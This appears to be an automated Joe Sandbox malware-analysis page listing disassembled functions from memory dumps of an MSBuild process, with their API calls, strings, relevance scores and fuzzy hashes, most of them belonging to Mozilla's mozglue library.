Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction ID: b821a3ed68e39ced0a1ee7d52ccadc00ba9e28cef2c83c113185a37151cab313
Opcode Fuzzy Hash: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction Fuzzy Hash: A221F6742007108FC320DF6ED495996B7F1FF49314B14486EEA8A8B722D776E880CB15

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C4C6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4C6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4C6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4C6D26

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4C6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4C6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4C6D73
free.MOZGLUE(00000000), ref: 6C4C6D80
CertGetNameStringW.CRYPT32 ref: 6C4C6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4C6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4C6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4C6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4C6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4C6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4C6E34
CreateFileW.KERNEL32 ref: 6C4C6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4C6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4C6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4C709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4C7103
free.MOZGLUE(00000000), ref: 6C4C7153
CloseHandle.KERNEL32(?), ref: 6C4C7176
__Init_thread_footer.LIBCMT ref: 6C4C7209
__Init_thread_footer.LIBCMT ref: 6C4C723A
__Init_thread_footer.LIBCMT ref: 6C4C726B
__Init_thread_footer.LIBCMT ref: 6C4C729C
__Init_thread_footer.LIBCMT ref: 6C4C72DC
__Init_thread_footer.LIBCMT ref: 6C4C730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4C73C2
VerSetConditionMask.NTDLL ref: 6C4C73F3
VerSetConditionMask.NTDLL ref: 6C4C73FF
VerSetConditionMask.NTDLL ref: 6C4C7406
VerSetConditionMask.NTDLL ref: 6C4C740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4C741A
moz_xmalloc.MOZGLUE(?), ref: 6C4C755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4C7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4C7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4C7598
free.MOZGLUE(00000000), ref: 6C4C75AC

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C4C72C8
wintrust.dll, xrefs: 6C4C72CD
(, xrefs: 6C4C768A
SHA256, xrefs: 6C4C6EC0

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 950585152c42d6deb6bfdb96b6e57ff02d003428ca95d8eec5b541b2c4921c1d
Instruction ID: 426561679c662bbdadf38a492dca8e5854c924f0c6108d41004c3f549cb7d7a3
Opcode Fuzzy Hash: 950585152c42d6deb6bfdb96b6e57ff02d003428ca95d8eec5b541b2c4921c1d
Instruction Fuzzy Hash: 4952D575A042149FEB21DF24CC84FAAB7B8EF85718F114199E90C97750EB70AE85CF92

Function 6C4FF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4FF09B

Part of subcall function 6C4D5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5B85
Part of subcall function 6C4D5B50: EnterCriticalSection.KERNEL32(6C53F688,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5B90
Part of subcall function 6C4D5B50: LeaveCriticalSection.KERNEL32(6C53F688,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5BD8
Part of subcall function 6C4D5B50: GetTickCount64.KERNEL32 ref: 6C4D5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C4FF0AC

Part of subcall function 6C4D5C50: GetTickCount64.KERNEL32 ref: 6C4D5D40
Part of subcall function 6C4D5C50: EnterCriticalSection.KERNEL32(6C53F688), ref: 6C4D5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C4FF0BE

Part of subcall function 6C4D5C50: __aulldiv.LIBCMT ref: 6C4D5DB4
Part of subcall function 6C4D5C50: LeaveCriticalSection.KERNEL32(6C53F688), ref: 6C4D5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C4FF155
GetCurrentThreadId.KERNEL32 ref: 6C4FF1E0
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF1ED
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF212
GetCurrentThreadId.KERNEL32 ref: 6C4FF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C4FF248
GetCurrentThreadId.KERNEL32 ref: 6C4FF2AE
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF2BB
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF2F8

Part of subcall function 6C4ECBE8: GetCurrentProcess.KERNEL32(?,6C4B31A7), ref: 6C4ECBF1
Part of subcall function 6C4ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4B31A7), ref: 6C4ECBFA

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FF350
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF35D
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF381
GetCurrentThreadId.KERNEL32 ref: 6C4FF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF3A0
GetCurrentThreadId.KERNEL32 ref: 6C4FF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF491

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C4FF3CF

Part of subcall function 6C4FF070: GetCurrentThreadId.KERNEL32 ref: 6C4FF440
Part of subcall function 6C4FF070: AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF44D
Part of subcall function 6C4FF070: ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C4FF4A8
GetCurrentThreadId.KERNEL32 ref: 6C4FF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF561
GetCurrentThreadId.KERNEL32 ref: 6C4FF577
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF585
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C4FF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C4FF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C4FF3A8
[I %d/%d] profiler_resume, xrefs: 6C4FF239

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: fce085330bb51f55956b3fbe56ff3fb5d02cbcd57040b075b4ce09caaab4dc1a
Instruction ID: edab3c5fdbaba0d93394088ea802888c1c7455ffcecb446e60b4da4286e2840b
Opcode Fuzzy Hash: fce085330bb51f55956b3fbe56ff3fb5d02cbcd57040b075b4ce09caaab4dc1a
Instruction Fuzzy Hash: D1D129316043149FDB20EF68DC04F997BF4EB86329F12065EE96D83B81EB715805C7AA

Function 6C4C64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4C64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4C64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4C6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4C6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4C652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4C671C
GetCurrentProcess.KERNEL32 ref: 6C4C6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4C672F
GetCurrentProcess.KERNEL32 ref: 6C4C6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4C6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4C6A80
GetSystemInfo.KERNEL32(?), ref: 6C4C6ABE
__Init_thread_footer.LIBCMT ref: 6C4C6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4C6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4C6AF7

Strings

nvd3d9wrap.dll, xrefs: 6C4C6500
nvdxgiwrap.dll, xrefs: 6C4C6513
user32.dll, xrefs: 6C4C6526
_etoured.dll, xrefs: 6C4C64ED
detoured.dll, xrefs: 6C4C64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4C6798

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: cd0a0d56d5cd58fd2abdc2ba1e16f3fe6b5e1084a0a2d464b7362785d1e50fc4
Instruction ID: b7d22dc7389f12445e7b71b3316951a8fbb1ab9b34c28e1f165b4ffc30e2a3ec
Opcode Fuzzy Hash: cd0a0d56d5cd58fd2abdc2ba1e16f3fe6b5e1084a0a2d464b7362785d1e50fc4
Instruction Fuzzy Hash: 07F1F774A012199FDB20DF24CC48FEAB7B5AF46319F1482D8D809A7751E731AE85CF92

Function 6C4C7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C53E744), ref: 6C4C7885
LeaveCriticalSection.KERNEL32(6C53E744), ref: 6C4C78A5
EnterCriticalSection.KERNEL32(6C53E784), ref: 6C4C78AD
LeaveCriticalSection.KERNEL32(6C53E784), ref: 6C4C78CD
EnterCriticalSection.KERNEL32(6C53E7DC), ref: 6C4C78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4C78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4C795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4C79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4C7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4C7C82
LeaveCriticalSection.KERNEL32(6C53E7DC), ref: 6C4C7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4C7DAF

Strings

DSl, xrefs: 6C4C787F
DSl, xrefs: 6C4C789F

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DSl$DSl
API String ID: 759993129-1796961853
Opcode ID: fbe98eae8cfdf2139f6b6b8935401378517d293ae0b24eff555a91033c37ee80
Instruction ID: c2260c08ae73738ef0cd2f017cef20174e5672cc6cf06f9d38e08444e7259f50
Opcode Fuzzy Hash: fbe98eae8cfdf2139f6b6b8935401378517d293ae0b24eff555a91033c37ee80
Instruction Fuzzy Hash: 32027335A0521A8FDB54CF19C984F99B7B5FF88318F2582AAD80DA7751E730AD91CF80

Function 6C4F7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

vSl, xrefs: 6C4F8207
(pre-xul), xrefs: 6C4F7E88
name, xrefs: 6C4F7ECF, 6C4F8335
data, xrefs: 6C4F8280, 6C4F83E1
schema, xrefs: 6C4F81E3, 6C4F8311

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vSl
API String ID: 3412268980-49359303
Opcode ID: 4563f9ae601771fe29ffa1b43e20d9c5622b17d42d7dbcc017d8aa893ae473d1
Instruction ID: ad3361871c79d99caa4cfb770d7ad369a93ab787a795a212467171aacc1f952b
Opcode Fuzzy Hash: 4563f9ae601771fe29ffa1b43e20d9c5622b17d42d7dbcc017d8aa893ae473d1
Instruction Fuzzy Hash: 3BE17CB5B043508BC714CF688840A5BFBE9BFC5314F154A2DE899D7790EBB4DD098B92

Function 6C4DD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C53E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C4ED1C5), ref: 6C4DD4F2
LeaveCriticalSection.KERNEL32(6C53E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C4ED1C5), ref: 6C4DD50B

Part of subcall function 6C4BCFE0: EnterCriticalSection.KERNEL32(6C53E784), ref: 6C4BCFF6
Part of subcall function 6C4BCFE0: LeaveCriticalSection.KERNEL32(6C53E784), ref: 6C4BD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C4ED1C5), ref: 6C4DD52E
EnterCriticalSection.KERNEL32(6C53E7DC), ref: 6C4DD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4DD6A6
LeaveCriticalSection.KERNEL32(6C53E7DC), ref: 6C4DD712
LeaveCriticalSection.KERNEL32(6C53E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C4ED1C5), ref: 6C4DD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4DD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C4DD82C
<jemalloc>, xrefs: 6C4DD827

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: aaad7cbc62703d808a577ab9f8234fcc0d3a6c35b1132680ffb1077f43d67d81
Instruction ID: 086f36d6e1cd4438b57b14bdb2684c90cf0eca49292e8142d8259f168d1b77f3
Opcode Fuzzy Hash: aaad7cbc62703d808a577ab9f8234fcc0d3a6c35b1132680ffb1077f43d67d81
Instruction Fuzzy Hash: BB91E471A047418FD714DF28C8A4F2AB7E1EB89315F16492EE49A87B81E770F845CFA1

Function 6C514EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C514EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C514F2E
moz_xmalloc.MOZGLUE ref: 6C514F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C514F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5152B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5152E6
Sleep.KERNEL32(00000010), ref: 6C515481
free.MOZGLUE(?), ref: 6C515498

Strings

(, xrefs: 6C515250

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 35025a4493c816b1d46622aae8d6dcee63294ee3baee58bf6111e3eaf66145a6
Instruction ID: a86f99d5da4b2dfc96d98b0973b4c91b53368e697db3383549b33c948b1eceef
Opcode Fuzzy Hash: 35025a4493c816b1d46622aae8d6dcee63294ee3baee58bf6111e3eaf66145a6
Instruction Fuzzy Hash: 19F1B271A18B408FD716CF39C85062BB7F5AFD6284F46872EF84AA7651EB31D841CB81

Function 6C517030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C517046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C517060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C51707E

Part of subcall function 6C4C81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4C81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C517096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C51709C
LocalFree.KERNEL32(?), ref: 6C5170AA

Strings

(null), xrefs: 6C51706A, 6C517083
### ERROR: %s: %s, xrefs: 6C517087

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 2b78a79efa84c5b0333c6bfb209b68e5c3b967cc85cf92a31b9bbfab80ae5fec
Instruction ID: 6620d97773b8c86e8466ad9c7e05a2659988cd65650cbe327515a613e1654f7a
Opcode Fuzzy Hash: 2b78a79efa84c5b0333c6bfb209b68e5c3b967cc85cf92a31b9bbfab80ae5fec
Instruction Fuzzy Hash: D701BEB1B001146FDB10ABA4DC4ADAF7BBCEF49215F020425F50DA7341F67169148BE5

Function 6C502C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C502C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C502C61

Part of subcall function 6C4B4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4B4E5A
Part of subcall function 6C4B4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4B4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C502C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C502E2D

Part of subcall function 6C4C81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4C81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C502E3B
(root), xrefs: 6C50354F
expected a Time entry, xrefs: 6C502E36

Memory Dump Source

